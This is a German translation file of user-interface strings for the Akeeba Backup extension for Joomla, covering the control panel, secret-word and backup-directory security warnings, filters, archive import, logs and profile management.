COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L1="Akeeba Backup konnte die Berechtigungen des Verzeichnisses <code>media/com_akeebabackup</code> nicht ermitteln."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L2="Bitte führen Sie eine der folgenden Maßnahmen durch:"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3A="Joomla!s FTP-Modus in der globalen Konfiguration aktivieren"
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L3B="Ändern Sie die Berechtigungen des Verzeichnisses <code>media/com_akeebabackup</code> und all seiner Unterverzeichnisse auf 0755 und aller seiner Dateien auf 0644 über Ihren FTP-Client."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_PERMS_L4="Akeeba Backup wird <strong><u>höchstwahrscheinlich überhaupt nicht funktionieren</u></strong>, wenn Sie diese Schritte nicht durchführen. Wenn Sie diese Meldung sehen, befolgen Sie bitte die darin enthaltenen Anweisungen, bevor Sie Support anfordern. Das spart Ihnen viel Zeit."
COM_AKEEBABACKUP_CONTROLPANEL_WARN_WARNING="WARNUNG"
COM_AKEEBABACKUP_CPANEL_BTN_FESECRETWORD_RESET="Vorgeschlagenes geheimes Wort anwenden"
COM_AKEEBABACKUP_CPANEL_BTN_FIXSECURITY="Sicherheit meiner Backups beheben"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_BANNED="Das geheime Wort ist ein bekanntes unsicheres Passwort. Bitte verwenden Sie keine Wörterbuchwörter, Filme-/Seriennamen oder die Namen Ihrer Lieben oder Haustiere."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_HEADER="Die Frontend- und Remote-Backup-Funktionen sind deaktiviert"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_INTRO="Ihr <em>geheimes Wort</em> ist unsicher und kann leicht erraten werden. Um Ihre Website zu schützen, hat Akeeba Backup den Zugang zum Frontend- und Remote-Backup deaktiviert, bis Sie ein sicheres geheimes Wort eingeben. Das erkannte Problem ist:"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_RESET="Das geheime Wort konnte nicht geändert werden"
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSHORT="Das geheime Wort ist zu kurz. Verwenden Sie ein geheimes Wort mit mindestens 8 Zeichen."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_TOOSIMPLE="Das geheime Wort ist zu einfach. Versuchen Sie, Klein- und Großbuchstaben, Zahlen und Satzzeichen zu verwenden."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_COMMON="Alternativ können Sie auf die Schaltfläche unten klicken, um das geheime Wort auf den vorgeschlagenen Wert <code>%s</code> zurückzusetzen. In beiden Fällen müssen Sie Ihre Remote-Backup-Dienste und/oder CRON-Jobs mit dem neuen geheimen Wort aktualisieren."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_JOOMLA="Bitte klicken Sie auf Optionen, Frontend, und geben Sie ein komplexeres geheimes Wort ein."
COM_AKEEBABACKUP_CPANEL_ERR_FESECRETWORD_WHATTODO_SOLO="Bitte klicken Sie auf Systemkonfiguration, Öffentliche API, und geben Sie ein komplexeres geheimes Wort ein."
COM_AKEEBABACKUP_CPANEL_ERR_INVALIDDOWNLOADID="Ungültiges Format der Download-ID. Bitte folgen Sie unseren Anweisungen, um Ihre Download-ID zu erhalten. Geben Sie in diesem Feld nicht Ihren Benutzernamen, Ihre E-Mail-Adresse oder Ihr Passwort ein."
COM_AKEEBABACKUP_CPANEL_HEADER_ADVANCED="Erweiterte Operationen"
COM_AKEEBABACKUP_CPANEL_HEADER_BASICOPS="Grundlegende Operationen"
COM_AKEEBABACKUP_CPANEL_HEADER_INCLUDEEXCLUDE="Ein- und Ausschlussinformationen"
COM_AKEEBABACKUP_CPANEL_HEADER_QUICKBACKUP="Ein-Klick-Backup"
COM_AKEEBABACKUP_CPANEL_HEADER_TROUBLESHOOTING="Fehlerbehebung"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE="Unsicheres Ausgabeverzeichnis"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INSECURE_ALT="Möglicherweise unsicheres Ausgabeverzeichnis und Backup-Dateiname"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_INVALID="Ungültiges Ausgabeverzeichnis"
COM_AKEEBABACKUP_CPANEL_HEAD_OUTDIR_UNFIXABLE="Nicht behebbares Sicherheitsproblem mit dem Ausgabeverzeichnis"
COM_AKEEBABACKUP_CPANEL_LABEL_STATUSSUMMARY="Statuszusammenfassung"
COM_AKEEBABACKUP_CPANEL_LBL_INCLUDEEXCLUDE_CALLOUT="Einschluss- und Ausschlussoptionen gelten nur für das aktive Backup-Profil."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_CLICKTHEBUTTON="Klicken Sie auf die Schaltfläche unten, um dieses Problem zu beheben. Hier ist, was sie bewirkt."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_DELETEORBEHACKED="Bis Sie das getan haben, <strong>EMPFEHLEN WIR DRINGEND</strong>, kein Backup Ihrer Website zu erstellen, und falls Sie bereits eines erstellt haben, alle Backup-Archive und Backup-Protokolldateien zu löschen. <strong>WENN SIE DIESE ANWEISUNGEN NICHT BEFOLGEN, WIRD IHRE WEBSITE SEHR WAHRSCHEINLICH KOMPROMITTIERT (GEHACKT) UND IHRE BACKUPS WERDEN HÖCHSTWAHRSCHEINLICH UNBRAUCHBAR SEIN.</strong>"
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FILEREADABLE="Akeeba Backup hat festgestellt, dass sich Ihr Backup-Ausgabeverzeichnis <code>%s</code> unterhalb des Web-Stammverzeichnisses Ihrer Website befindet. Sein Inhalt, einschließlich Ihrer Backup-Archive, ist über das Internet zugänglich. Es ist jedoch NICHT möglich, die Dateien im Verzeichnis mit einem Webbrowser aufzulisten. <strong>Dies kann ein Sicherheitsproblem darstellen</strong>. Ein Angreifer kann den Namen des Backup-Archivs erraten und es direkt herunterladen, wobei er die Sicherheit Ihrer Website umgeht."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_RANDOM="Ihr „Backup-Ausgabedateiname" wird so geändert, dass er die Variable <code>[RANDOM]</code> enthält. Dies macht das Erraten der Backup-Dateinamen praktisch unmöglich, da bei jedem Backup 16 verschiedene, zufällige Buchstaben und/oder Zahlen im Dateinamen des Backup-Archivs hinzugefügt werden."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_FIX_SECURITYFILES="Eine <code>.htaccess</code>- und eine <code>web.config</code>-Datei werden in diesen Ordner geschrieben. Auf den meisten Servern reicht dies aus, um direkte Web-Downloads aller darin enthaltenen Dateien zu verhindern und die Auflistung der Dateien zu deaktivieren. Wir haben auch eine Lösung für Server, auf denen diese Sonderdateien keine Wirkung haben. Drei weitere Dateien namens <code>index.php</code>, <code>index.html</code> und <code>index.htm</code> werden ebenfalls in diesen Ordner geschrieben. Diese Indexdateien verhindern, dass der Webserver die Namen der Backup-Archive und Backup-Protokolldateien auflistet."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM="Außerdem ist Ihr Ausgabeverzeichnis identisch mit oder ein Unterverzeichnis eines Ordners, der von Joomla und seinen Erweiterungen für eigene, öffentlich zugängliche Dateien verwendet wird."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_ISSYSTEM_FIX="Sie müssen zur Konfigurationsseite von Akeeba Backup gehen und ein anderes Ausgabeverzeichnis auswählen."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_LISTABLE="Akeeba Backup hat festgestellt, dass sich Ihr Backup-Ausgabeverzeichnis <code>%s</code> unterhalb des Web-Stammverzeichnisses Ihrer Website befindet. Sein Inhalt, einschließlich Ihrer Backup-Archive, ist über das Internet zugänglich. Darüber hinaus ist es möglich, die Dateien im Verzeichnis aufzulisten, d.&nbsp;h. es zeigt beim Aufruf mit einem Webbrowser eine Liste Ihrer Backup-Archive an. <strong>Dies ist ein erhebliches Sicherheitsproblem</strong>. Ein Angreifer kann diesen Ordner von einem Webbrowser aus aufrufen und Ihre Backup-Archive direkt herunterladen, wobei er die Sicherheit Ihrer Website umgeht."
COM_AKEEBABACKUP_CPANEL_LBL_OUTDIR_TRASHHOST="Leider unterstützt Ihr Server keine vernünftige Methode, das Verzeichnis zu sichern. Unabhängig davon, was wir tun, werden immer die Namen der enthaltenen Dateien aufgelistet und ermöglichen den Download über einen Browser. Ihre einzige Option ist, ein Backup-Ausgabeverzeichnis oberhalb des Stammverzeichnisses Ihrer Website zu erstellen."
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_ERROR="Erkannte Fehler verhindern den beabsichtigten Betrieb"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_OK="Akeeba Backup ist bereit, Ihre Website zu sichern"
COM_AKEEBABACKUP_CPANEL_LBL_STATUS_WARNING="Akeeba Backup ist bereit, Ihre Website zu sichern, aber es gibt mögliche Probleme"
COM_AKEEBABACKUP_CPANEL_LBL_UNWRITABLE="Nicht beschreibbar"
COM_AKEEBABACKUP_CPANEL_LBL_WRITABLE="Beschreibbar"
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN1="Wir haben festgestellt, dass CloudFlare Rocket Loader auf Ihrer Website aktiviert ist. Diese Funktion wird JavaScript auf Ihrer Website beeinträchtigen und die Reihenfolge, in der Skripte geladen werden, durcheinanderbringen, was zu JavaScript-Fehlern führt. Bitte deaktivieren Sie die Rocket Loader-Funktion, damit das JavaScript von Joomla und Akeeba Backup korrekt funktioniert. Weitere Informationen und Anweisungen finden Sie in der <a href='%s' target='_blank'>CloudFlare-Dokumentation</a>."
COM_AKEEBABACKUP_CPANEL_MSG_CLOUDFLARE_WARN="CloudFlares Rocket Loader verhindert die korrekte Nutzung von Joomla!&trade; und Akeeba Backup"
COM_AKEEBABACKUP_CPANEL_MSG_FESECRETWORD_RESET="Das geheime Wort wurde zu <code>%s</code> geändert"
COM_AKEEBABACKUP_CPANEL_MSG_JOOMLABUGGYUPDATES="<strong>Wichtig:</strong> Wenn Joomla bereits festgestellt hat, dass Updates für Akeeba Backup verfügbar sind, bevor Sie Ihre Download-ID eingegeben haben, ist es <em>möglicherweise nicht in der Lage, diese herunterzuladen</em>, auch nicht nachdem Sie Ihre Download-ID eingegeben haben, aufgrund einer Reihe von seit Langem bekannten Joomla-Fehlern. Laden Sie in diesem Fall die ZIP-Datei der neuesten Version von unserer Website herunter. Gehen Sie dann zum Systemmenü von Joomla, suchen Sie den Bereich Installieren, klicken Sie auf Erweiterungen, klicken Sie auf die Registerkarte Paketdatei hochladen und installieren Sie die heruntergeladene ZIP-Datei <strong>zweimal</strong> hintereinander, <strong>ohne</strong> Akeeba Backup davor oder dazwischen zu deinstallieren. Die doppelte Installation ist erforderlich, um einen weiteren seit Langem bekannten Fehler in Joomla zu beheben, der manchmal verhindert, dass alle aktualisierten Dateien beim Installieren eines Erweiterungs-Updates kopiert werden."
COM_AKEEBABACKUP_CPANEL_MSG_MUSTENTERDLID="Sie müssen Ihre Download-ID eingeben"
COM_AKEEBABACKUP_CPANEL_MSG_WHERETOENTERDLID="Gehen Sie im linken Bereich zum Systemmenü von Joomla. Suchen Sie den Bereich Update und klicken Sie auf den Link Update-Sites. Suchen Sie den Eintrag „Akeeba Backup Professional" und klicken Sie darauf. Alternativ können Sie <a href=\"%s\">hier klicken</a>, um direkt zu dieser Seite zu gelangen. Geben Sie Ihre Download-ID — entweder Ihre Haupt-ID oder eine zusätzliche Download-ID — in das Feld „Download-Schlüssel" ein und klicken Sie auf die Schaltfläche Speichern."
COM_AKEEBABACKUP_CPANEL_PROFILE_BUTTON="Profile wechseln"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_ERROR="Fehler beim Wechseln des aktiven Profils"
COM_AKEEBABACKUP_CPANEL_PROFILE_SWITCH_OK="Profil erfolgreich gewechselt"
COM_AKEEBABACKUP_CPANEL_PROFILE_TITLE="Aktives Profil"
COM_AKEEBABACKUP_CPANEL_WARNING_Q001="Ausgabeverzeichnis nicht beschreibbar"
COM_AKEEBABACKUP_CPANEL_WARNING_Q003="Website-Stammverzeichnis als Ausgabe- oder temporäres Verzeichnis verwendet"
COM_AKEEBABACKUP_CPANEL_WARNING_Q004="PHP memory_limit zu niedrig"
COM_AKEEBABACKUP_CPANEL_WARNING_Q013="Komponentenordner als Ausgabeverzeichnis verwendet"
COM_AKEEBABACKUP_CPANEL_WARNING_Q015="Joomla! benutzerdefinierter öffentlicher Ordner mit aktivierter Option „Symlinks dereferenzieren""
COM_AKEEBABACKUP_CPANEL_WARNING_Q101="Ausgabeverzeichnis durch open_basedir eingeschränkt"
COM_AKEEBABACKUP_CPANEL_WARNING_Q103="Maximale Ausführungszeit ist zu niedrig"
COM_AKEEBABACKUP_CPANEL_WARNING_Q104="Temporäres Verzeichnis ist dasselbe wie das Website-Stammverzeichnis"
COM_AKEEBABACKUP_CPANEL_WARNING_Q106="Ihr Datenbankpräfix enthält einen oder mehrere Großbuchstaben"
COM_AKEEBABACKUP_CPANEL_WARNING_Q107="Sie verwenden <code>bak_</code> als Datenbankpräfix Ihrer Website."
COM_AKEEBABACKUP_CPANEL_WARNING_Q201="Veraltete PHP-Version"
COM_AKEEBABACKUP_CPANEL_WARNING_Q202="Problem bei der CRC-Berechnung"
COM_AKEEBABACKUP_CPANEL_WARNING_Q203="Standard-Ausgabeverzeichnis wird verwendet"
COM_AKEEBABACKUP_CPANEL_WARNING_Q204="Deaktivierte Funktionen können den Betrieb beeinträchtigen"
COM_AKEEBABACKUP_CPANEL_WARNING_Q401="ZIP-Format ausgewählt"
COM_AKEEBABACKUP_CPANEL_WARNING_QNONE="Keine Probleme erkannt"
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_TITLE="Ihre PHP-Version hat die mbstring-Erweiterung nicht installiert oder aktiviert."
COM_AKEEBABACKUP_CPANL_ERR_MBSTRING_BODY="Die Aktivierung dieser Erweiterung ist eine Joomla!-Anforderung. Joomla! und Akeeba Backup werden nicht korrekt funktionieren. Bitte bitten Sie Ihren Hoster, die mbstring-Erweiterung für PHP %s auf Ihrem Server zu aktivieren."

COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HEAD="Push-Benachrichtigungen"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_SUMMARY="Push-Benachrichtigungen in Ihrem Browser verwalten"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_DETAILS="Push-Benachrichtigungen werden pro Browser und Gerät über die Push-API des Browsers verwaltet. Einige ältere Browser unterstützen Push-Benachrichtigungen möglicherweise nicht. Bitte lesen Sie die Dokumentation für weitere Informationen."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_HEAD="Push-Benachrichtigungen sind nicht verfügbar"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_BODY="Ihr Browser unterstützt die Push-API nicht. Bitte verwenden Sie eine aktuelle Version von Firefox, Chrome, Edge, Opera oder anderen Browsern mit Unterstützung für die Web Push-API. <br/><small>Die Push-API wird auch in Safari unter macOS Ventura und höher sowie iOS 16.1 und höher unterstützt.</small>"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_LBL_UNAVAILABLE_SERVER_BODY="Ihr Server erfüllt nicht die Mindestanforderungen, um die Push-API des Browsers zum Senden von Benachrichtigungen zu verwenden. Bitte konsultieren Sie die Dokumentation für die Liste der Anforderungen für diese Funktion."
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_SUBSCRIBE="Push-Benachrichtigungen aktivieren"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_BTN_UNSUBSCRIBE="Push-Benachrichtigungen deaktivieren"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_TITLE="Akeeba Backup-Benachrichtigungen auf %s aktiviert"
COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_BODY="Diese Nachricht bestätigt, dass die Aktivierung von Push-Benachrichtigungen funktioniert hat, und zeigt Ihnen, wie Akeeba Backup-Benachrichtigungen aussehen werden."

COM_AKEEBABACKUP_DBFILTER="Datenbankdatentabellen ausschließen"
COM_AKEEBABACKUP_DBFILTER_LABEL_EXCLUDENONCORE="Nicht-Core-Tabellen ausschließen"
COM_AKEEBABACKUP_DBFILTER_LABEL_NUKEFILTERS="Alle Filter zurücksetzen"
COM_AKEEBABACKUP_DBFILTER_LABEL_ROOTDIR="Aktuelle Datenbank:"
COM_AKEEBABACKUP_DBFILTER_LABEL_SITEDB="Hauptdatenbank der Website"
COM_AKEEBABACKUP_DBFILTER_LABEL_TABLES="Datenbanktabellen, Views, Prozeduren, Funktionen und Trigger"
COM_AKEEBABACKUP_DBFILTER_TABLE_FUNCTION="Gespeicherte Funktion"
COM_AKEEBABACKUP_DBFILTER_TABLE_META_ROWCOUNT="Anzahl der Zeilen"
COM_AKEEBABACKUP_DBFILTER_TABLE_MISC="Zusammengeführter, temporärer, speicherbasierter, föderierter, Blackhole- oder sonstiger Tabellentyp<br/>Dessen Daten werden von Akeeba Backup nie gesichert."
COM_AKEEBABACKUP_DBFILTER_TABLE_PROCEDURE="Gespeicherte Prozedur"
COM_AKEEBABACKUP_DBFILTER_TABLE_TABLE="Tabellenname"
COM_AKEEBABACKUP_DBFILTER_TABLE_TRIGGER="Datenbank-Trigger"
COM_AKEEBABACKUP_DBFILTER_TABLE_VIEW="MySQL-View"
COM_AKEEBABACKUP_DBFILTER_TABLE_TEMP="Temporäre Tabelle"
COM_AKEEBABACKUP_DBFILTER_TABLE_UNKNOWN="Anderer Datenbankentitätstyp"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLEDATA="Inhalt einer Tabelle nicht sichern"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLES="Eine Tabelle ausschließen"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA="Inhalt nicht sichern"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES="Dieses ausschließen"

COM_AKEEBABACKUP_DISCOVER="Archive importieren"
COM_AKEEBABACKUP_DISCOVER_ERROR_NODIRECTORY="Sie haben kein gültiges Verzeichnis ausgewählt"
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILES="Es gibt keine Archivdateien zum Importieren im ausgewählten Verzeichnis. Bitte gehen Sie zurück und wählen Sie ein anderes Verzeichnis."
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILESSELECTED="Sie haben keine Dateien zum Importieren ausgewählt."
COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY="Verzeichnis"
COM_AKEEBABACKUP_DISCOVER_LABEL_FILES="Erkannte Archivdateien"
COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK="Zurück zur Verzeichnisauswahl"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORT="Dateien importieren"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTDONE="Importvorgang erfolgreich abgeschlossen."
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION="Importiertes Sicherungsarchiv"
COM_AKEEBABACKUP_DISCOVER_LABEL_S3IMPORT="Sind Ihre Archive auf Amazon S3 gespeichert? Klicken Sie <a href=\"%s\">hier</a>, um sie in einem einzigen Schritt herunterzuladen und zu importieren!"
COM_AKEEBABACKUP_DISCOVER_LABEL_SCAN="Nach Dateien suchen"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTDIR="Wählen Sie ein Verzeichnis aus, das Sicherungsarchive enthält"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTFILES="Bitte wählen Sie die zu importierenden Dateien aus. Halten Sie die STRG- oder Befehlstaste gedrückt, während Sie auf die Dateien klicken, um eine Mehrfachauswahl zu treffen."

COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_FAILED="Die Nachverarbeitung (Upload in den Remote-Speicher) ist FEHLGESCHLAGEN."
COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_SUCCESS="Die Nachverarbeitung (Upload in den Remote-Speicher) war erfolgreich."

COM_AKEEBABACKUP_FILEFILTERS="Ausschluss von Dateien und Verzeichnissen"
COM_AKEEBABACKUP_FILEFILTERS_EDITOR_TITLE="Bearbeiten"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER="Neuen Filter hinzufügen:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS="Unterverzeichnisse"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES="Dateien"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM="Filterelement"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW="Browseransicht"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NUKEFILTERS="Alle Filter zurücksetzen"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR="Stammverzeichnis:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW="Übersichtsansicht"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE="Typ"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER="Beim Anwenden des Filters für &quot;%s&quot; ist ein Fehler aufgetreten."
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT="&lt;Stamm&gt;"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_VIEWALL="Alle Ausschlüsse auflisten"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLDIRS="Auf alle aufgelisteten Ordner anwenden"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLFILES="Auf alle aufgelisteten Dateien anwenden"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES="Verzeichnis ausschließen"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES_ALL="Alle Verzeichnisse ausschließen"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES="Datei ausschließen"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES_ALL="Alle Dateien ausschließen"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS="Unterverzeichnisse überspringen"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS_ALL="Alle Verzeichnisse überspringen"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES="Dateien überspringen"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES_ALL="Alle Dateien überspringen"
COM_AKEEBABACKUP_FILTER_SELECT_QUICKICON="– Ein-Klick-Sicherungssymbol –"

COM_AKEEBABACKUP_INCLUDEFOLDER="Einschluss externer Verzeichnisse"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY="Verzeichnis"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY_HELP="Das Verzeichnis auf Ihrem Server, das in die Sicherung einbezogen wird. Diese Funktion ist nur für Verzeichnisse gedacht, die sich außerhalb des Stammverzeichnisses Ihrer Website befinden. Verzeichnisse innerhalb des Stammverzeichnisses der Website werden immer automatisch gesichert, es sei denn, Sie schließen sie über die Funktion zum Ausschluss von Dateien und Verzeichnissen aus."
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR="Virtuelles Unterverzeichnis"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR_HELP="Die Dateien werden im Archiv in einem Unterverzeichnis des virtuellen Verzeichnisses für externe Dateien gespeichert, das in Ihrer Konfiguration festgelegt ist (Standard: external_files). Sie können den Namen dieses Verzeichnisses anpassen. Setzen Sie ihn auf einen einfachen Schrägstrich (dieses Zeichen: /) und Ihre externen Dateien werden im Stammverzeichnis Ihrer Website abgelegt. Dies ist nützlich, wenn Sie bestimmte Dateien in der Sicherung überschreiben möchten, z. B. Ihre configuration.php-Datei, oder wenn Sie die Vorlage des Installationsskripts anpassen möchten."

COM_AKEEBABACKUP_LBL_BATCH_COPY="Kopieren"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSDLID="Sie müssen Ihre <strong>Download-ID</strong> eingeben, bevor Sie Akeeba Backup Professional aktualisieren und einige seiner Remote-Speicherfunktionen nutzen können. <a href='%s' target='_blank'>Wenn Sie Ihre Download-ID nicht kennen, klicken Sie bitte hier</a>."
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_HEAD="Die Eingabe der Download-ID reicht nicht aus, um die Funktionen von Akeeba Backup Professional zu aktivieren"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_BODY="Sie müssen das Akeeba Backup Professional-Paket <em>zweimal</em> auf Ihrer Website herunterladen und installieren, ohne die Core-Version zu deinstallieren. Weitere Informationen und detaillierte Anweisungen finden Sie in unserem <a href='%s'>Video-Tutorial zum Upgrade von Akeeba Backup Core auf Professional</a>."
COM_AKEEBABACKUP_LBL_PROFILES_SAVED="Das Profil wurde erfolgreich gespeichert"
COM_AKEEBABACKUP_LBL_PROFILE_COPIED="Das Profil und seine zugehörigen Einstellungen wurden erfolgreich kopiert"
COM_AKEEBABACKUP_LBL_PROFILE_DELETED="Das Profil wurde erfolgreich gelöscht"
COM_AKEEBABACKUP_LBL_PROFILE_SAVED="Das Profil wurde erfolgreich gespeichert"

COM_AKEEBABACKUP_LOG="Protokoll anzeigen"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE="Bitte wählen Sie eine anzuzeigende Protokolldatei aus:"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_VALUE="- Sicherungsursprung auswählen -"
COM_AKEEBABACKUP_LOG_ERROR_LOGFILENOTEXISTS="Die Protokolldatei ist in Ihrem Ausgabeverzeichnis nicht vorhanden"
COM_AKEEBABACKUP_LOG_ERROR_UNREADABLE="Die Protokolldatei ist nicht lesbar"
COM_AKEEBABACKUP_LOG_LABEL_DOWNLOAD="Protokolldatei herunterladen"
COM_AKEEBABACKUP_LOG_NONE_FOUND="Keine Protokolldatei gefunden"
COM_AKEEBABACKUP_LOG_SHOW_LOG="Protokoll anzeigen"
COM_AKEEBABACKUP_LOG_SIZE_WARNING="Ihre Protokolldatei ist %s MB groß. Der Versuch, sie im Browser anzuzeigen, kann den Browser zum Absturz bringen oder einen Timeout-Fehler auf Ihrem Server verursachen. Bitte verwenden Sie stattdessen die Schaltfläche „Protokoll herunterladen" oben, um die Protokolldatei auf Ihren Computer herunterzuladen. Sie können das Protokoll mit einem einfachen Texteditor öffnen und lesen."

COM_AKEEBABACKUP_MULTIDB="Definitionen mehrerer Datenbanken"
COM_AKEEBABACKUP_MULTIDB_ERR_MISSINGINFO="Sie müssen mindestens einen Datenbanktreiber, Hostnamen, Benutzernamen, Passwort und Datenbanknamen angeben."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL="Abbrechen"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTFAIL="Verbindung zur Datenbank konnte nicht hergestellt werden. Bitte überprüfen Sie Ihre Einstellungen. Letzter Fehler:"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTOK="Mit der Datenbank verbunden!"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DATABASE="Datenbankname"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DRIVER="Datenbanktreiber"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_HOST="Hostname des Datenbankservers"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING="Wird geladen, bitte warten..."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PASSWORD="Passwort"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PORT="Port des Datenbankservers"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PREFIX="Präfix"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVE="Speichern"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVEFAIL="Speichern fehlgeschlagen; bitte erneut versuchen"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_TEST="Verbindung testen"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_USERNAME="Benutzername"
COM_AKEEBABACKUP_MULTIDB_LABEL_DATABASE="Datenbankname"
COM_AKEEBABACKUP_MULTIDB_LABEL_HOST="Hostname des Datenbankservers"

COM_AKEEBABACKUP_PROFILES="Profilverwaltung"
COM_AKEEBABACKUP_PROFILES_BTN_EXPORT="Exportieren"
COM_AKEEBABACKUP_PROFILES_BTN_PUBLISH="Ein-Klick-Sicherungssymbol aktivieren"
COM_AKEEBABACKUP_PROFILES_BTN_RESET="Zurücksetzen"
COM_AKEEBABACKUP_PROFILES_BTN_UNPUBLISH="Ein-Klick-Sicherungssymbol deaktivieren"
COM_AKEEBABACKUP_PROFILES_ERROR_RESET_FAILED="Das Zurücksetzen der Konfiguration und der Filter des Sicherungsprofils ist fehlgeschlagen. Grund: %s"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED="Profilimport fehlgeschlagen"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID="Ungültige Datei. Dies sieht nicht wie eine exportierte Profil-.json-Datei aus."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_DESC="Suchen Sie ein Profil, indem Sie einen Teil seiner Beschreibung eingeben. Suchen Sie ein Profil anhand seiner ID mit der Syntax <code>id:123</code>, wobei 123 die numerische Profil-ID ist."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_LABEL="Beschreibung"
